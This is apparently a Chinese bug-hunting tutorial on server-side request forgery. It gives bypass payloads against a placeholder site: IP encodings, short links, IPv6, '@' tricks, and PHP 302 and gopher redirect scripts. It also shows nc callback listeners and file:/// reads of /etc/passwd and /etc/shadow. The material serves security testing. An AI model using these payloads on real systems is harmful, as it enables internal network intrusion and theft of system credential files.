谈谈SSRF漏洞挖掘
最近看了很多ssrf漏洞挖掘技巧和自己以往挖掘ssrf漏洞的一些技巧和经验,简单的总结下:
之前自己总结的:
ssrf=服务器端请求伪造 基于服务器攻击 url链接 -->内网漫游/内网服务探测/内网开放端口探测/getshell/xss/xxe
http://test.com/proxy?url=服务器地址 ->服务器地址来源ip不是你本地的ip,那它就有八成概率存在ssrf了
对外访问地址,ip地址非本地
192.168.0.0 - 192.168.255.255
172.16.0.1 - 172.31.255.255
10.0.0.0 - 10.255.255.255
信任域
http://baidu.com -->
192.168.0.0 - 192.168.255.255
172.16.0.1 - 172.31.255.255
10.0.0.0 - 10.255.255.255
http://baidu.com/proxy?url=http://服务器ip
打开我们服务器:
nc -lvvp 端口号:
1.是否会有请求 -->判断是否会对外发起请求
2.来源ip -->判断是否是从服务器发起请求
ssrf为了干什么?
探测内网的信息/内网信息漫游?
http://baidu.com/proxy?url=http://127.0.0.1 //hello world 测试环境
通过外网访问到内网
ssrf多数存在于url参数上。
url跳转/分享端链接/打印文本可能就存在ssrf攻击
url,xurl,loginUrl,urlxxx,xxxurl,xxx_url 都应该去尝试ssrf攻击
xxx代表*
ssrf绕过
127.0.0.1 ->127.0.1.1.xip.io
127.0.0.1 ->整数ip->http://2130706433
十六进制。八进制ip
参考:https://www.silisoftware.com/tools/ipconverter.php?convert_from=127.0.0.1
ssrf的漏洞的实践文章参考:
https://shuimugan.com/?BugSearch%5Bbug_no%5D=&BugSearch%5Btitle%5D=ssrf&BugSearch%5Bvendor%5D=&BugSearch%5Bauthor%5D=&BugSearch%5Bbug_type%5D=&BugSearch%5Bbug_level_by_whitehat%5D=&BugSearch%5Bbug_level_by_vendor%5D=&BugSearch%5Brank_by_whitehat%5D=&BugSearch%5Bbug_date%5D=
短网址绕过
http://127.0.0.1
短网址
https://www.ft12.com/
https://tb.am/
加密的ip进行二次短网址生成。
别的绕过:
http://[::]/
http://[::]:22/
http://[::]:25/
利用302跳转绕过:
302.php
<?php header("location:".$_GET['u']); ?>
http://***.com/302.php?u=http://[::]/
或者是其他内网地址
关于信任域名:
如果测试的站点是http://test.com,验证了*.test.com那怎么绕?
可以这样:
设置hosts文件
内网ip *.test.com
然后直接通过http://test.com/proxy?url=*.test.com ->自动解析访问内网地址
再谈302跳转:
信任域名验证还能怎么玩?
url跳转 *.test.com某站存在url跳转
url跳转:http://*.test.com/xxx.php?url=内网ip
ssrf利用:
http://test.com/proxy?url=http://*.test.com/xxx.php?url=内网ip(url跳转)
还能怎么玩?
如果没url跳转呢?
老办法
设置hosts文件
内网ip *.test.com
http://test.com/proxy?url=http://*.test.com/302.php?url=内网ip(url跳转)
还有什么办法绕过信任域名?
http://test.com/proxy?url=http://test.com@内网ip
还有哪些绕过?可能http/https请求被禁用
还可以尝试如下协议:
如下:
file:///
dict://
sftp://
ldap://
tftp://
gopher://
file是文件传输,所以常说ssrf到文件读取:
file:///
File是用来从文件系统获取文件
windows:
http://test.com/proxy?url=file:///C:/Windows/win.ini
linux:http://test.com/proxy?url=file:///etc/passwd
可能etc/passwd被过滤,可以尝试读取别的目录如/etc/shadow /etc/hosts可以读usr或者tmp目录等 可以看看linux系统目录结构
dict:// -
DICT URL方案用于表示使用DICT协议可用的定义或单词列表:
客户端:发起请求:http://test.com/proxy?url=dict://服务器地址:1337
服务器:nc -lvp 1337
查看是否有返回请求
sftp://
Sftp代表SSH文件传输协议,或安全文件传输协议,是SSH的内含协议,在安全连接上与SSH类似
tftp:// -
简单文件传输协议是一种简单的锁步文件传输协议,它允许客户端从远程主机获取文件或将文件放到远程主机上
同理和dict://用法一样
特殊点的:
ldap:// or ldaps:// or ldapi:// -
LDAP代表轻量级目录访问协议。它是一种通过IP网络管理和访问分布式目录信息服务的应用协议。
http://test.com/proxy?url=ldaps://localhost:1337/%0astats%0aquit
http://test.com/proxy?url=ldap://localhost:1337/%0astats%0aquit
http://test.com/proxy?url=ldapi://localhost:1337/%0astats%0aquit
直接遍历1337就行
gopher:// -
Gopher是一种分布式的文档传递服务。它允许用户以无缝的方式探索、搜索和检索驻留在不同位置的信息。
http://test.com/proxy?url
=gophar://服务器地址/gophar.php
gophar.php内容:
另一台服务器:
<?php
header('Location: gopher://另一台服务器:1337/_Hi%0Assrf%0Atest');
?>
另一台服务器nc -lvp 1337
返回
Hi\nssrf\ntest
其实我们自己在漏洞挖掘中根本没有我们想象的那么复杂化。。。
讲些隐蔽点的ssrf挖掘姿势,个人感觉很骚,平常没怎么关注到的:
文件上传处ssrf:
常见位置:
文件上传数据包里面有imagePath/Path等参数,可以自定义图片地址的:
尝试修改成:http://内网ip/favicon.ico favicon.ico不多说了自行百度了解,如果批量上传有上传成功的说明存在ssrf!
文件上传利用2:
今天看到的案例:
文件上传type一般都是file <input type="file">
如果我们尝试把<input type="file">改成type="url"是不是就和上面的案例一样,批量上传http://内网ip/favicon.ico尝试ssrf是否会有上传成功的图片:
案例:
从上传变成url地址上传:
先写这么多,记录下,方便以后查阅方便。基本上漏洞挖掘,没这么复杂。。